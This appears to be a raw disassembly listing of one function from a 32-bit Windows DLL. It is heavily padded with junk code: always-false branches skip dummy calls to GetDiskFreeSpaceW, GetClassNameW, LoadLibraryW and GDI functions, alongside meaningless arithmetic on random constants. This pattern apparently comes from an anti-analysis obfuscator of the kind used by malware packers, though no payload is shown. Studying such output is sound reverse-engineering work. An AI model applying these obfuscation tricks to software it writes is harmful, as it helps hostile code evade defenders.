mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x24]
sub eax, 0x4643a64e
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x960]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002fbc3
push 0x8ed
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea ecx, [ebp - 0x960]
call fcn.1001614d
lea ecx, [ebp - 0x5c8]
mov dword [ebp - 4], ebx
call fcn.1001614d
mov esi, 0x2799
xor eax, eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002fbfb
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fc1b
push 0x11e4
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x48], ecx
mov ecx, 0x33490ce6
cmp dword [ebp - 0x20], eax
je 0x1002fd23
push edi
lea ecx, [ebp - 0x978]
call fcn.10015911
xor eax, eax
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002fc6d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x978]
mov dword [eax + ecx*4], 0xfb0b0297
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002fc53
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x1002fd0d
jmp 0x1002fc7d
xor eax, eax
mov dword [ebp - 0x34], 0x39ed080c
mov dword [ebp - 0x34], eax
jmp 0x1002fce8
push edi
lea ecx, [ebp - 0xb88]
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002fcb9
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb88]
mov dword [eax + ecx*4], 0x5653d423
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002fc9f
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fccc
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_EndPaint]
mov eax, dword [ebp - 0xb88]
lea ecx, [ebp - 0xb88]
mov dword [eax], 0xfffffffc
call fcn.1001614d
inc dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x34], eax
jle 0x1002fc89
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x978]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1002fc7b
or eax, 0xffffffff
lea ecx, [ebp - 0x978]
mov dword [ebp - 4], eax
call fcn.1001614d
jmp 0x1002fe19
mov dword [ebp - 0x18], eax
xor edx, edx
mov dword [ebp - 0x4c], 0xae215169
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xd54], ecx
mov dword [ebp - 0xd50], ecx
mov dword [ebp - 0xd4c], ecx
mov dword [ebp - 0xd48], ecx
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], 0x48aab564
mov eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0xf75d
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
add edx, 0x54953c65
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x5063f373
mov ecx, dword [ebp - 0x18]
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x18]
jne 0x1002fde0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
xor eax, eax
mov dword [ebp - 0xd4c], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002fe1b
push 0x8b9
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fe36
push eax
push eax
push 0xfe5
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
xor eax, eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fe4f
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fe67
push 0x11e4
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 2
pop esi
push esi
lea ecx, [ebp - 0x6a0]
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x18], eax
jmp 0x1002fe97
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6a0]
mov dword [eax + ecx*4], 0xe0a8eac8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002fe84
mov eax, dword [ebp - 0x6a0]
and dword [eax], 0
mov dword [ebp - 0x44], 0x942a1e94
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x6a0]
dec dword [eax]
cmp dword [eax], 0xfffffff2
jne 0x1002fea5
mov dword [ebp - 0x2c], 0x13
cmp dword [ebp - 0x2c], 0xfffffffe
jge 0x1002fee9
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fee0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffffe
jl 0x1002fece
lea ecx, [ebp - 0x6a0]
call fcn.1001614d
movdqa xmm0, xmmword [0x100083d0]
lea ecx, [ebp - 0x10d8]
push ecx
lea eax, [ebp - 0x10c8]
mov dword [ebp - 0x2c], 0x67a8
push eax
push ecx
lea ecx, [ebp - 0xe6c]
movdqu xmmword [ebp - 0x10d8], xmm0
call fcn.10015953
mov dword [ebp - 0x44], 0xfff7
mov eax, 0xffff
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x50], 0xfffffff9
mov dword [ebp - 0x28], 0x78ee
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002ff6b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x508], 0xc164
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002ff53
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1002ffd9
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x508]
cmp eax, edi
setle cl
xor eax, eax
dec ecx
je 0x1002ff9c
cmp dword [ebp - 0x2c], eax
jne 0x1002ffa3
mov ecx, eax
cmp dword [ebp - 0x2c], eax
je 0x1002ffa5
mov ecx, edi
mov eax, dword [ebp - 0x508]
add eax, ecx
jne 0x1002ffb2
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0xe6c]
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x28]
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x508]
test ecx, ecx
je 0x1002ffd7
mov eax, edi
jmp 0x1002ffd9
xor eax, eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0xe6c]
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0x1c], 0x9e57ad95
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x10030012
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x134c], 0x2db5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002fff9
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030055
push 0x492
push 0x1819
push 0x40b
push 0x780
push 0x2353
push 0x2017
push 0x1f52
push 0x1a01
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
xor eax, eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x10030070
mov dword [ebp - 0x44], 0x576c
mov dword [ebp - 0x44], 0x290be443
dec dword [ebp - 0x1c]
jns 0x1003005d
mov dword [ebp - 0x2c], 0xd509
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x100300a0
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x42c], 0x75b57fd5
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x10030087
xor eax, eax
mov dword [ebp - 0x42c], 0xffffffef
jmp 0x100300c7
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100300c1
cmp dword [ebp - 0x42c], 0xffffffea
jle 0x100300ac
mov dword [ebp - 0x34], 0x56411d7f
lea ecx, [ebp - 0x320]
mov dword [ebp - 0x14], 0xd513c61c
push 4
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1003010d